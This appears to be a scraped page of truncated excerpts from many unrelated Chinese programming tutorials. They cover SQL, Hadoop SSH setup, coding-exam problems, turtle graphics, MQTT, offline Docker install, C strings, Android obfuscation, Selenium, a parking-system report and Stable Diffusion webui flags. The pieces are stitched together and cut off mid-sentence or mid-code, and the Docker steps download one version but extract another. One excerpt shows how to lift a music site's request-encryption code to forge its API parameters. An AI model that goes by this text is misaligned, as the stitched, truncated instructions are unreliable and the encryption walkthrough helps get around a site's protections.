3.7.2.2 右连接
3.7.2.3 全连接
3.7.3 交叉连接
3.8 联合查询
3.8.1 并集
3.8.2 交集
3.8.3 差集
3.9 子查询
3.9.1 FROM子句中的子查询
3.9.2 运算符的子查询
3.9.3 SELECT下的子查询
3.9.4 with...as 子查询
目录 1. Linux的常用快捷键2. Hadoop集群部署问题汇总 1. Linux的常用快捷键 复制:Ctrl+shift+C
粘贴:Ctrl+shift+V
TAB:补全命令
编写输入:i
退出编写:esc
保存并退出:shift+:
2. Hadoop集群部署问题汇总 1.常见出错点:
权限未正确设置配置文件错误未格式化 2.解决问题思路:看日志log
步骤1:
cd /export/server/hadoop/logs/
步骤2:(也可以查看secondarynamenode的日志,视情况而定)
tail -100 hadoop-hadoop-namenode-node1.log
3.错误举例
问题1:Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password)
这是免密互通没有设置成功,可以通过ssh [节点]来查看是具体哪个节点没有设置成功,然后就对应的节点的免密通信进行重新设置。
第一步:切换到需要设置免密通信的用户
su - [用户] 第二步:生成公钥私钥
ssh-keygen -t rsa -b 4096 第三步:将SSH公钥信息复制给对应服务器
ssh-copy-id node1 ssh-copy-id node2 ssh-copy-id node3
华为OD机试真题-补种未成活胡杨(Java/C++/Go/Python) 题目描述 近些年来,我国防沙治沙取得显著成果。某沙漠新种植N棵胡杨(编号1-N),排成一排。
一个月后,有M棵胡杨未能成活。现可补种胡杨K棵,请问如何补种(只能补种,不能新种),可以得到最多的连续胡杨树?
输入描述 N 总种植数量 1<=N<=100000 M 未成活胡杨数量 1<=M<=N M 个空格分隔的数,按编号从小到大排列 K 最多可以补种的数量 0<=K<=M
输出描述 最多的连续胡杨棵树
示例1 输入
5 2 2 4 1 输出
3 说明
补种到2或4结果一样,最多的连续胡杨棵树都是3
示例2 输入
10 3 2 4 7 1 输出
6 说明
补种第7棵树,最多的连续胡杨棵树为6(5,6,7,8,9,10)
解题思路 1.用0代表死树,1代表活着的树,把题目转化为求含有k个0的最长子串
2,采用滑动窗口,每当窗口含有k个0时,求子串最大长度,同时用queue
存储每个0的下标,窗口有k个0时,将queue栈顶的下标更新为left
考点 滑动窗口
代码 Java代码 import java.util.*; public class Main { // Function to calculate the maximum distance between 0s public static int slide(int[] all, int k) { int res = 0; // Result to be returned Queue<Integer> q = new LinkedList<>(); // Queue to store indices of 0s int left = 1; // Start index for the current 0 for (int i = 1; i < all.
turtle画图基本操作 基本代码 import turtle turtle.circle(20)#半径为20像素的圆 直接生成图形,不显示乌龟运动轨迹。turtle.tracer(False)
import turtle turtle.pensize(1) turtle.tracer(False)#直接生成图形,不显示乌龟运动轨迹。 for i in range(1,100,10): turtle.circle(i) 生成图形:
生成几何图形 双层圆 运行如下代码:
import turtle turtle.setup(500,500,None,None) turtle.circle(50) turtle.goto(4,6) turtle.circle(30)#半径为30像素的圆 turtle.pendown() turtle.home() 生成图形如下
三角形、六边形、圆 运行以下这段代码
import turtle turtle.pensize(3) turtle.penup() turtle.goto(-200,-50) turtle.pendown() turtle.begin_fill() turtle.color('red') turtle.circle(100,steps=3)#运动一圈 circle,三步step=3,三角形 turtle.end_fill() turtle.goto(0,-50) turtle.pendown() turtle.begin_fill() turtle.color('yellow') turtle.circle(100,steps=6)#运动一圈 circle,六步step=6,六边形 turtle.end_fill() turtle.goto(200,-50) turtle.dot(50,"green")#运动一圈,一个圆形 dot 生成如下图形:
星星 图形在右,代码在左。
五彩圆 程序代码
import turtle colors=['red','orange','yellow','green','blue','indigo','purple'] for i in range(7): c=colors[i] turtle.color(c,c) turtle.begin_fill() turtle.rt(360/7) turtle.circle(50) turtle.end_fill() turtle.
1.腾讯云物联网平台 首先需要在腾讯云物联网平台创建产品、创建设备、定义设备属性和行为,例如:
(1)创建产品 (2)定义设备属性和行为 (3)创建设备 (4)准备参数 这里我们主要用到的参数有:
a) MQTT参数 mqtt_host = "xxxxxxxxxx.iotcloud.tencentdevices.com" --MQTT地址 mqtt_port = 1883 client_id = "xxxxxxxxxx" --MQTT Client ID user_name = "xxxxxxxxxx" --MQTT Username password = "xxxxxxxxxx" --MQTT password b) topic 这里我们主要用到的topic分别是设备属性上报和应用调用设备行为,大家根据需要也可以添加属性响应和行为响应的topic:
$thing/up/action/xxxxxxxxx/xxxxxxxxx $thing/down/action/xxxxxxxxx/xxxxxxxxx c) json数据格式 上面topic对应具体的JSON数据格式可以参考官网文档:腾讯云物联网平台物模型协议
这里需要我们确定的有:
设备属性上报topic对应的json数据 { "method": "report", "clientToken": "123", "timestamp": 1628646783, "params": { "temp": 1 } } 应用下发行为命令时设备接收的json数据 { "method": "action", "clientToken": "v2530233902vujFm::b1eex-15x8-4e9x-980d-cf73xx539678", "actionId": "LED_action", "timestamp": 1696565196, "params": { "LED_action_down_id": 1 } } 2.
目录
前言 :
1.离线安装docker:
移除以前安装的docker:
下载docker的安装包:
复制docker目录下的文件到/usr/bin/目录
注册docker为系统服务:
在编辑器中添加以下内容:
设置 docker.service 文件权限
重载unit配置文件:
运行docker:
开机自启:
编辑
前言 : 我使用的是 香橙派3b Ubuntu 系统
官方的系统应该是没有docker包的
我这里用的是离线方式安装:
1.离线安装docker: 移除以前安装的docker: sudo apt-get remove docker docker-engine docker.io containerd runc 下载docker的安装包: 你可以选择自己在电脑下载,然后ftp传到你想要的目录:
root目录也可以
https://download.docker.com/linux/static/stable/aarch64/docker-24.0.6.tgz
wget https://download.docker.com/linux/static/stable/aarch64/docker-24.0.6.tgz 解压docker压缩包:
先cd到你的压缩包目录
tar -zxvf docker-19.03.9.tgz 复制docker目录下的文件到/usr/bin/目录 sudo cp -p docker/* /usr/bin/ 注册docker为系统服务: 这里会在:/usr/lib/systemd/system/下创建一个docker.service文件
sudo nano /usr/lib/systemd/system/docker.service 在编辑器中添加以下内容: docker.service [Unit] Description=Docker Application Container Engine Documentation=https://docs.docker.com After=network-online.target firewalld.service Wants=network-online.target [Service] Type=notify # the default is not to use systemd for cgroups because the delegate issues still # exists and systemd currently does not support the cgroup feature set required # for containers run by docker ExecStart=/usr/bin/dockerd ExecReload=/bin/kill -s HUP $MAINPID # Having non-zero Limit*s causes performance problems due to accounting overhead # in the kernel.
一、字符串 1、字符串简介 在 C 语言中,字符串实际上是使用空字符 \0 结尾的一维字符数组。因此,\0 是用于标记字符串的结束。
空字符(Null character)又称结束符,缩写 NUL,是一个数值为 0 的控制字符,\0 是转义字符,意思是告诉编译器,这不是字符 0,而是空字符。
比如:下面声明和初始化创建了一个 RUNOOB 字符串。由于在数组的末尾存储了空字符 \0,所以字符数组的大小比单词 RUNOOB 的字符数多一个。
char site[7] = {'R', 'U', 'N', 'O', 'O', 'B', '\0'}; # 依据数组初始化规则,您可以把上面的语句写成以下语句: char site[] = "RUNOOB"; 以下是 C/C++ 中定义的字符串的内存表示:
其实,您不需要把 null 字符放在字符串常量的末尾。C 编译器会在初始化数组时,自动把 \0 放在字符串的末尾。
#include <stdio.h> int main() { char site[7] = {'R', 'U', 'N', 'O', 'O', 'B', '\0'}; char str1[7] = "runoob"; printf("菜鸟教程: site=%s\n", site); // 菜鸟教程: site=RUNOOB printf("
GSEP 1级样题 闰年统计 题目描述 小明刚刚学习了如何判断平年和闰年,他想知道两个年份之间(包含起始年份和终止年份)有几个闰年。你能帮帮他吗?
输入格式 输入一行,包含两个整数,分别表示起始年份和终止年份。约定年份在 1到 2022 之间。
输出格式 输出一行,包含一个整数,表示闰年的数量。
样例 #1 样例输入 #1 2018 2022 样例输出 #1 1 样例 #2 样例输入 #2 2000 2004 样例输出 #2 2 解题思路 闰年是指能被4整除但不能被100整除的年份,或者能被400整除的年份。
遍历从起始年份到终止年份的每一年,对每一年的情况进行判断,如果是闰年就计数器加1。
参考代码1:
#include <iostream> using namespace std; int main() { int m,n,i,cnt=0; cin>>m>>n; for(i=m;i<=n;i++){ if(((i%4==0)&&(i%100!=0)||(i%400==0))){ cnt++; } } cout<<cnt; return 0; } 测试结果 说明 所有程序均来自于个人思路,若有不严谨之处,欢迎指出!一起讨论!【GESP考级交流|CSP认证|信奥赛交流群】交流V:AI_XX666
【华为OD机试真题】路灯照明问题(Java/C++/Go/Python) 题目描述 在一条笔直的公路上安装了N个路灯,从位置0开始安装,路灯之间间距固定为100米。
每个路灯都有自己的照明半径,请计算第一个路灯和最后一个路灯之间,无法照明的区间的长度和。
输入描述 第一行为一个数N,表示路灯个数,1<=N<=100000
第二行为N个空格分隔的数,表示路灯的照明半径,1<=照明半径<=100000*100
输出描述 第一个路灯和最后一个路灯之间,无法照明的区间的长度和
用例1 输入
2 50 50 输出
0 用例2 输入
4 50 10000 20 30 输出
0 说明 路灯1覆盖0-50,路灯2覆盖50-100,
路灯1和路灯2之间(0米-100米)无未覆盖的区间。
解题思路 1.先将路灯的照明范围转化为区间,存入二维数组
2.数组排序后,求并集,然后将区间之间的间隔相加
考点 区间交并集
代码 Java代码 public static void main(String[] args) { Scanner scanner = new Scanner(System.in); int n = scanner.nextInt(); // 读取路灯个数 int[] rad = new int[n]; // 存储每个路灯的照明半径 for (int i = 0; i < n; i++) { rad[i] = scanner.
在 Android 日常开发过程中,混淆是我们开发 App 的一项必不可少的技能。只要是我们亲身经历过 App 打包上线的过程,或多或少都需要了解一些代码混淆的基本操作。那么,混淆到底是什么?它的好处有哪些?具体效果如何?别急,下面我们来一一探索它的"独特"魅力。
混淆简介 代码混淆(Obfuscated code)是将程序中的代码以某种规则转换为难以阅读和理解的代码的一种行为。
混淆的好处 混淆的好处就是它的目的:令 APK 难以被逆向工程,即很大程度上增加反编译的成本。此外,Android 当中的"混淆"还能够在打包时移除无用资源,显著减少 APK 体积。最后,还能以变通方式避免 Android 中常见的 64k 方法数引用的限制。
我们先来看一下混淆前后的 APK 结构对比:
从上面两张图可以看出:经过混淆处理之后,我们的 APK 中包名、类名、成员名等都被替换为随机、无意义的名称,增加了代码阅读和理解的困难程度,提高了反编译的成本。细心的小伙伴可能又会注意到:混淆前后 APK 的体积竟然从 2.7M 减小到了 1.4M,体积缩减了近一倍!真的有这么神奇吗?哈哈,确实是这么神奇,让我们慢慢来揭开它的神秘面纱吧。
Android 当中的混淆 在 Android 中,我们平常所说的"混淆"其实有两层意思,一个是 Java 代码的混淆,另外一个是资源的压缩。其实这两者之间并没有什么关联,只不过习惯性地放在一起来使用。那么,说了这么多,Android 平台上到底该如何开启混淆呢?
启用混淆 ...... android { buildTypes { release { minifyEnabled true shrinkResources true proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' } } } 以上就是开启混淆的基本操作了,通过 *minifyEnabled* 设置为 true 来开启混淆。同时,可以设置 *shrinkResources* 为 true 来开启资源的压缩。不难看出,我们一般在打 release 包时才启用混淆,因为混淆会增加额外的编译时间,所以不建议在 debug 模式下启用。此外,需要注意的是:只有在启用混淆的前提下开启资源压缩才会有效!以上代码中的 *proguard-android.
C语言编译链接目录 编译预编译(预处理)编译词法分析语法分析语义分析 汇编 链接 C语言程序的编译和链接,一般都是在IDE的内部完成我们无法知道其内部具体执行了什么,是怎么一步步从.c和.h文件生成可执行文件exe的,所以本篇文章就将这一段被封存的过程进行阐述。 可执行文件的生成过程,包括两步编译和链接,而编译又可以分解成:预编译,编译和汇编三个过程 编译 整个编译的过程就是通过编译器,将我们写的代码文件全部转换成一条条的机器可以看懂的机器指令的过程。
预编译(预处理) 在预编译阶段,所有的源文件和头文件都会转换成.i为后缀的文件。
预处理阶段主要是将源文件中以#开始的预编译指令。比如:#define #include #ifndef。
处理规则:
1:将所有的#define删除,并展开所有的宏定义。
2:处理所有的条件编译指令,如:#if ,#elif,#else等。
3:处理#include预编译指令,将包含的头文件的内容插入到改预编译指令的位置。这个过程是递归进行的,也就是说被包含的头文件也可能包含其他文件。
4:删除所有的注释
5:添加行号和文件名标识,方便后面编译器生成调试信息等。
6:保留所有的#pragma的编译器指令,编译器后续会使用。
编译 编译的过程就是将预处理后的文件进行一系列的:词法分析,语法分析,语义分析及优化,生成相应的汇编代码。
词法分析 将源代码输入到扫描器,扫描器的任务就是简单的对代码进行词法分析,把代码中的字符分割成一系列的记号(关键字,标识符,字面量,特殊字符等)。
类如:
array[index]=(1+1)*(i+3); 语法分析 将对扫描产⽣的记号进⾏语法分析,从⽽产⽣语法树。这些语法树是以表达式为节点的树。
语义分析 由语义分析器来完成语义分析,即对表达式的语法层⾯分析。编译器所能做的分析是语义的静态分析。静态语义分析通常包括声明和类型的匹配,类型的转换等。这个阶段会报告错误的语法信息。
汇编 汇编器是将汇编代码转转变成机器可执⾏的指令,每⼀个汇编语句⼏乎都对应⼀条机器指令。就是根据汇编指令和机器指令的对照表⼀⼀的进⾏翻译,也不做指令优化。
链接 链接是⼀个复杂的过程,链接的时候需要把⼀堆⽂件链接在⼀起才⽣成可执⾏程序。
链接过程主要包括:地址和空间分配,符号决议和重定位等这些步骤。
链接解决的是⼀个项⽬中多⽂件、多模块之间互相调⽤的问题。
对于新手学习Python,有几个常用的集成开发环境(IDE)可以选择。以下是一些受欢迎的选择,可供题主参考下载使用。
集成开发环境(IDE) 1. PyCharm: PyCharm 是一款功能强大的 Python IDE,由JetBrains开发。它提供了丰富的功能,包括代码自动完成、调试器、单元测试工具等。PyCharm有两个版本可供选择:专业版和社区版。专业版提供更多高级功能,但是社区版是免费的,对于学习Python来说已经足够。
2. Visual Studio Code: Visual Studio Code(简称VS Code)是一个轻量级的、免费开源的代码编辑器,由微软开发。它支持多种编程语言,包括Python。VS Code具有丰富的扩展生态系统,可以通过安装插件来扩展其功能,使其适应不同的编程需求。
3. IDLE: IDLE是Python自带的轻量级IDE,适用于初学者。它提供了一个简单的界面,可以输入和运行Python代码,并且有基本的调试功能。IDLE通常随着Python的安装一起提供,无需额外安装。
4. Jupyter Notebook: Jupyter Notebook是一个交互式的开发环境,特别适合学习和探索数据科学领域。它以笔记本的形式组织代码、文本和图像,并且可以在浏览器中运行。Jupyter Notebook支持Python和其他编程语言,可以通过Anaconda等发行版进行安装。
Jupyter Notebook软件安装 1.Anaconda简介 Anaconda是一个开源的包、环境管理器,其包含了conda、Python等180多个科学包及其依赖项,可用于在同一个机器上安装不同版本的软件包及其依赖,并能够在不同的环境之间切换,可将Anaconda 看作是软件包管理工具,拥有安装、卸载、更新、查看、搜索等很多实用的功能,简单的鼠标操作就可以实现包管理,而不用我们来关心各种依赖和文件路径的情况,十分方便快捷。
Anaconda包括Conda、Python以及一大堆安装好的工具包,比如:
1.NumPy:科学运算包;
2.SciPy:在NumPy的基础上构建,功能更加强大的科学计算包;
3.Matplotlib:类似Matlab的绘图工具包;
4.Scikit-learn:经典机器学习工具包;
5.Pandas:数据处理和分析工具包。
2.安装说明 Python编辑器的安装方式有很多:推荐Jupyter。
推荐理由:简单方便,省时省力!
Jupyter是Anaconda中自带的编辑器,所以我们只需要安装Anaconda即可,Anaconda可以理解为让你的电脑识别Python代码的转换器。
Jupyter,简单理解就是编写Python的软件,举个栗子,你想写文章,需要个word软件;同理你想写Python代码,需要一个Jupyter软件。
Python的安装环境主要需要三个软件:Python解释器、软件包管理系统(pip)、编辑器(例如Jupyter)。
Anconda软件安装时会自动帮你安装Python解释器和Pip,并自带编辑器(Jupyter)。
综上所述,安装Anconda是个不错的选择。
3.安装包下载 使用Anaconda清华镜像网址进行下载。
Anaconda清华镜像网址
往下翻翻找到对应的版本下载即可。
4.安装步骤 ①从官网下载安装包,双击下载好的Anaconda3-5.3.0-Windows-x86_64.exe文件,出现如下界面,点击Next。
②点击I Agree(我同意),不同意,当然就没办法继续安装啦。
③如果系统只有一个用户选择“Just Me”,如有多用户且都用到 .选择“All users”继续点击 Next。
④为了避免之后不必要的麻烦,建议选择默认安装路径,此处如果默认错误,可以自己在C磁盘新建一个Anaconda3文件,然后安装。
⑤务必两个全部勾选,点击Install(安装)。
几分钟后,出现弹窗“Installation Complete”。点击"Next",安装过程中可能会出现360安全卫士阻止安装,请允许本次的所有操作。
⑥这个界面可以不用勾选,直接点击“Finish”,安装完成。
5.Jupyter使用说明 1.安装完成后,在开始菜单下找到Anaconda3(64-bit)文件夹,点击Jupyter Notebook的软件。
2.此时,页面运行Jupyter Notebook,如果顺利应该会在你的浏览器创建一个新的页面。
提示:如果弹出终端窗口,先不要关闭,否则会影响Jupyter使用。
起因 最近各种网购平台似乎都在推送99元的悟空派全志H3的开发板,出于好奇就买了一块来试试水,由于这块板子基本上和orangepi-Zero的硬件结构一模一样,所以设备树、boot这些就用orangepi现成的部件了。
因为本人比较喜欢使用SSH操作,但是在不同环境下使用连接的WiFi不一样,所以对应的IP地址也就不一样,所以我给悟空派弄了一个0.98寸的OLED,用来显示CPU温度和当前IP地址,并5秒会刷新一次数据内容,为我连接SSH提供了一定的帮助,但是由于该任务是开机启动的前台任务,就导致我的串口Shell始终处于显示该线程打印数据内容的状态下,导致我无法在新环境连接新WiFi,所以考虑如何解决该问题。
处理方案 由于该任务我希望从设备启动时运行到设备关机时关闭,不希望其与终端产生关联,故在linux环境中找到较为合适的处理方案便为将守护进程。
守护进程(Daemon) 代蒙(希腊文:δαίμων、拉丁文:Dæmon、英文:Daemon)是希腊神话中的一种介于神与人之间的精灵或妖魔。它们与神祇的区别在于精灵并不具有人的外貌,而是一种善恶并存的超自然存在。在罗马神话中,代蒙称为格尼烏斯(Genius)。
代蒙无处不在,伴随着人的一生。 根据古希腊唯心主义哲学派的解释,人一生下来一直到死亡都有代蒙伴随并支配他的一切行动。
从这个英文单词的意义可以得知,daemon在linux系统中就是伴随linux运行一生并支配其行动的东西,这个东西善恶并存,是否就可以理解成daemon的好坏取决于编写daemon的我们,且无论好坏都将伴随linux的整个运行周期。
下面是标准理解,此处借鉴了大佬 JMW1407文章中 【Linux】守护进程( Daemon)的定义,作用,创建流程_daemon的作用-CSDN博客
1、定义 守护进程是运行在后台的一种特殊进程,它独立于控制终端并且周期性地执行某种任务或循环等待处理某些事件的发生;它不需要用户输入就能运行而且提供某种服务,不是对整个系统就是对某个用户程序提供服务。Linux系统的大多数服务器就是通过守护进程实现的。
守护进程一般在系统启动时开始运行,除非强行终止,否则直到系统关机才随之一起停止运行;
守护进程一般都以root用户权限运行,因为要使用某些特殊的端口(1-1024)或者资源;
守护进程的父进程一般都是init进程,因为它真正的父进程在fork出守护进程后就直接退出了,所以守护进程都是孤儿进程,由init接管;
守护进程是非交互式程序,没有控制终端,所以任何输出,无论是向标准输出设备stdout还是标准出错设备stderr的输出都需要特殊处理。
守护进程的名称通常以d结尾,比如sshd、xinetd、crond等
2、作用 守护进程是一个生存周期较长的进程,通常独立于控制终端并且周期性的执行某种任务或者等待处理某些待发生的事件大多数服务都是通过守护进程实现的关闭终端,相应的进程都会被关闭,而守护进程却能够突破这种限制 功能实现 基本源码 首先大家可以看一下我是如何在悟空派使用OLED显示IP地址和温度的,源代码如下
#include <errno.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #include <stdint.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/param.h> #include <syslog.h> #define MAXFILE 65535 #include <netinet/in.h> #include <net/if.h> #include <sys/ioctl.h> #include <arpa/inet.h> #include "oled.h" #include "
selenium查找网页如何处理网站资源一直加载失败的情况 selenium获取一个网页,某个网页的资源卡了很久还没有加载成功,如何放弃这个卡的数据,继续往下走
有2钟方式。通常可以采用下面的方式一来处理这种情况
方式一、WebDriverWait 这种方式对于资源比较多比较复杂的网页比较合适,比如有些图片在国外,一直加载不出来。mail.com就是这样
当网页15秒还没有加载完成,此时代码不管有没有找到元素都会继续往下走,:
如果没有找到元素就会抛异常。如果找到元素,就会点击 这个时候,如果抛异常。可以多尝试即便,直到不抛异常即可继续往下走
def ClickElementByXpath(self, brower, xPath): try: brower.implicitly_wait(5) self.insert_text_to_last_line(self.log_pass_file, xPath) result = WebDriverWait(brower, 15).until(EC.presence_of_element_located((By.XPATH, xPath))) result.click() return True except Exception as e: print('exception timeout!!!') return False 方式二、find_element 这种方式适合资源能快速加载完成的网站。
find_element会等到网站所有的资源全部加载完成后,再继续往下执行,这样的话更稳定,但对于有些网站资源本身很卡,就会一直卡住了,导致卡非常久,最后脚本运行失败。
def ClickElementByXpath(self, brower, xPath): try: brower.implicitly_wait(55) self.insert_text_to_last_line(self.log_pass_file, xPath) #element_input = brower.find_element_by_xpath(xPath) element_input = brower.find_element(By.XPATH, xPath) element_input.click() return True except Exception as e: print('exception timeout!!!') return False 是否可以设置超时时间 当元素的点击后 ,不等页面加载完成,接着往下走 在Selenium中,可以使用WebDriver的set_page_load_timeout方法来设置页面加载的超时时间,但是这个设置通常是应用于整个页面的加载,而不是单个元素的点击操作。如果你希望在点击元素后不等待页面加载完成,而是继续执行后续操作,可以采取以下方法:
使用set_page_load_timeout:你可以设置一个较短的页面加载超时时间,以便在点击元素后等待较短的时间。然后,可以在捕获超时异常后,继续执行后续操作。
from selenium import webdriver from selenium.
目录 一、绪论1.1内容简介及意义1.2开发工具及技术介绍 二、总体设计2.1系统总体架构2.2登录模块总体设计2.3主界面模块总体设计2.4停车证管理模块总体设计2.5停车位管理模块总体设计2.6员工管理模块总体设计2.7其他模块总体设计 三、详细设计3.1登录模块设计3.2主界面模块设计3.3停车证管理模块设计3.4停车位管理模块设计3.5员工管理模块设计3.6其他模块设计四、系统测试 四、程序截图五、联系与交流 一、绪论 1.1内容简介及意义 现如今随着经济的发展, 私家车越来越多, 系统管理停车场变得尤为重要。所以我写了这个系统用来系统化的管理停车场的车辆的停入、驶出和计费,停车位的使用情况,停车证件的信息管理以及工作员工的信息管理,使得停车场的管理可以变的更加的方便快捷和人性化。
1.2开发工具及技术介绍 开发工具:
(1)Microsoft Visual Studio 2019
Microsoft Visual Studio(简称VS)是美国微软公司的开发工具包系列产品。VS是一个基本完整的开发工具集,它包括了整个软件生命周期中所需要的大部分工具,如UML工具、代码管控工具、集成开发环境(IDE)等等。所写的目标代码适用于微软支持的所有平台,包括Microsoft Windows、Windows Mobile、Windows CE、.NET Framework、.NET Compact Framework和Microsoft Silverlight 及Windows Phone。2018年6月,微软宣布开发新一代集成开发环境(integrated development environment,IDE)Visual Studio 2019。
(2)MySQL 8.0
MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。
技术介绍:
该课程设计主要使用了.net Window窗体编程技术,Oracle的MySql.Data技术以及MySQL8.0数据库的连接和交互技术以实现数据在系统中的可视化和可修改化。利用编译的DBHelper.cs文件实现该技术,对数据库的内容进行增删改查等操作。
二、总体设计 2.1系统总体架构 员工或管理员在登录页面选择不同的身份输入自己的工号和密码后进入系统主页面,点击该页面的菜单项内容进入不同的系统模块进行不同的操作。管理员用户的菜单会额外显示员工管理选项和车位收费标准选项。普通员工登陆之后,菜单中的员工管理选项和车位收费标准选项会隐藏且普通员工无法进行操作。该系统为实现相关的操作,共在数据库中创建了保存管理员相关信息的管理员表(表2-1)、保存员工信息的员工表(表2-2)、保存停车证信息的停车证表(表2-3)、保存停车位信息的停车位表(表2-4)和保存收费标准的收费标准表(表2-5)五个表。
该系统共由登录模块、停车证管理模块、停车位管理模块、员工管理模块和其他模块等模块构成,其总体架构图如图2-1所示。
表2-2 员工表employee
表2-3 停车证表pardcardinfo
表2-4 停车位表parking
表2-5 收费标准表
图2-1 系统总体架构图
2.2登录模块总体设计 登录模块主要用于识别用户的身份,并按照不同的用户身份进行不同的判断,成功则按照不同的身份类型进入主界面,失败按照识别原因进行相应的提示。模块架构图如图2-1所示。
图2-2 登录模块架构图
通过逆向找打这个加密window.asrsea这个函数了
首先明确这里的4个参数分别对应什么,分别对应着下面四个参数
JSON.stringify(i8a), bsF6z(["流泪", "强"]), bsF6z(St0x.md), bsF6z(["爱心", "女孩", "惊恐", "大笑"]
所以发现JSON.stringify (i8a)被b函数加工以后,再次被b函数进行加工,接下来到b函数里面看看是什么
终于发现了这是AES加密的特征
1,扣代码,对数据进行加密 接下来就是如何破解
第一种方法:直接全扣下来,缺什么就补什么 不知道如何加密的情况下,直接扣代码,缺什么就补什么(比较耗时,考验耐心,也比较好用)
打开pycharm,新建一个js文件
(注意了,你得安装好Node环境,pycharm写的js代码需要Node环境才能运行,而且浏览器环境跟Node环境有一些区别,我们从浏览器环境扣下来的js代码,在node环境运行的话会有些问题,根据具体问题补环境即可,比如说Node下js不能操作dom,没有window对象,如果扣下来的代码有window对象或者右操作dom的代码则需要进行适当的补环境)
所以自行百度准备好node环境
接下来可以扣代码了,思路就是缺什么函数,从浏览器复制什么函数,直到补完位置
比如说,就从加密入口函数下手
function d(d, e, f, g) { var h = {} , i = a(16); return h.encText = b(d, g), h.encText = b(h.encText, i), h.encSecKey = c(i, e, f), h } var first = '{"logs":"[{\\"action\\":\\"mobile_monitor\\",\\"json\\":{\\"meta._ver\\":2,\\"meta._dataName\\":\\"pip_lyric_monitor\\",\\"action\\":\\"render\\",\\"userAgent\\":\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\",\\"chromeVersion\\":116,\\"resourceId\\":1974443814,\\"resourceType\\":\\"song\\"}}]","csrf_token":""}' var second = '010001' var third = '00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7' var forth = '0CoJUm6Qyw8W8jud' var result = d(first,second,third,forth) console.
webui启动参数 这些启动参数是从modules/cmd_args.py文件中翻译的 参数含义-f允许以root身份运行;在webui之外实现–update-all-extensionslaunch.py参数:启动程序时下载所有扩展的更新–skip-python-version-checklaunch.py参数:不检查python版本–skip-torch-cuda-testlaunch.py参数:不检查CUDA是否能够正常工作–reinstall-xformerslaunch.py参数:安装适当版本的xformer,即使您已经安装了某个版本–reinstall-torchlaunch.py参数:即使已经安装了相应版本的torch,也要安装该版本–update-checklaunch.py参数:chck用于启动时的更新–testslaunch.py参数:在指定的目录中运行测试–no-testslaunch.py参数:即使指定了–tests选项,也不要运行测试–skip-installlaunch.py参数:跳过包的安装–data-dir存储所有用户数据的基本路径–config构造模型的配置路径–ckpt稳定扩散模型的检查点路径;如果指定,则该检查点将添加到检查点列表中并加载–ckpt-dir具有稳定扩散检查点的目录路径–vae-dir包含VAE文件的目录的路径–gfpgan-dirGFPAGAN目录–gfpgan-modelGFPAGAN模型文件名–no-half不要将模型切换为16位浮点–no-half-vae不要将VAE模型切换为16位浮点–no-progressbar-hiding不要在gradio UI中隐藏进度条(我们隐藏它是因为如果浏览器中有硬件加速,它会减慢ML)–max-batch-countUI的最大批计数值–embeddings-dir用于文本反转的embeddings目录(默认值:embeddings)–textual-inversion-templates-dir具有文本反转模板的目录–hypernetwork-dir超网络目录–localizations-dir本地化目录–allow-code允许从webui执行自定义脚本–medvram实现稳定的扩散模型优化,为低VRM使用率牺牲一点速度–lowvram实现稳定的扩散模型优化,以牺牲大量速度实现极低的VRM使用–lowram将稳定的扩散检查点权重加载到VRAM而不是RAM–always-batch-cond-uncond使用–medvram或–lowvram禁用启用的cond/uncod批处理以节省内存–unload-gfpgan什么都不做–precision以此精度进行评估–upcast-sampling上行采样。没有效果——没有一半。通常会产生类似的结果——没有一半在使用较少内存的情况下具有更好的性能–share对gradio使用share=True,并通过其网站访问UI–ngrokngrok-authtoken,gradio的替代方案–share–ngrok-regionngrok应该启动的区域–enable-insecure-extension-access启用扩展选项卡,而不考虑其他选项–codeformer-models-path包含代码形成器模型文件的目录的路径–gfpgan-models-path带有GFPAGAN模型文件的目录路径–esrgan-models-path带有ESRGAN模型文件的目录的路径–bsrgan-models-path包含BSRGAN模型文件的目录的路径–realesrgan-models-path带有RealESRGAN模型文件的目录的路径–clip-models-path包含CLIP模型文件的目录的路径–xformers为交叉关注层启用xformer–force-enable-xformers为交叉关注层启用xformer,而不管检查代码是否认为您可以运行它;如果此操作失败,请不要生成错误报告–xformers-flash-attention启用具有Flash Attention的xformer以提高再现性(仅支持SD2.x或变体)–deepdanbooru什么都不做–opt-split-attentionforce实现了Doggett的跨注意力层优化。默认情况下,火炬棍打开–opt-sub-quad-attention实现内存高效的次二次交叉注意层优化–sub-quad-q-chunk-size查询块大小用于次二次交叉关注层优化–sub-quad-kv-chunk-sizekv块大小用于次二次交叉注意层优化使用–sub-quad-chunk-threshold使用分块的次二次交叉关注层优化的VRAM阈值的百分比–opt-split-attention-invokeaiforce支持InvokeAI的跨注意力层优化。默认情况下,当cuda不可用时,它处于打开状态–opt-split-attention-v1启用旧版本的分散注意力优化,该优化不会消耗它能找到的所有VRAM–opt-sdp-attention实现缩放点积交叉关注层优化;需要PyTorch 2*–opt-sdp-no-mem-attention实现缩放点积跨关注层优化,无需内存高效关注,使图像生成具有确定性;需要PyTorch 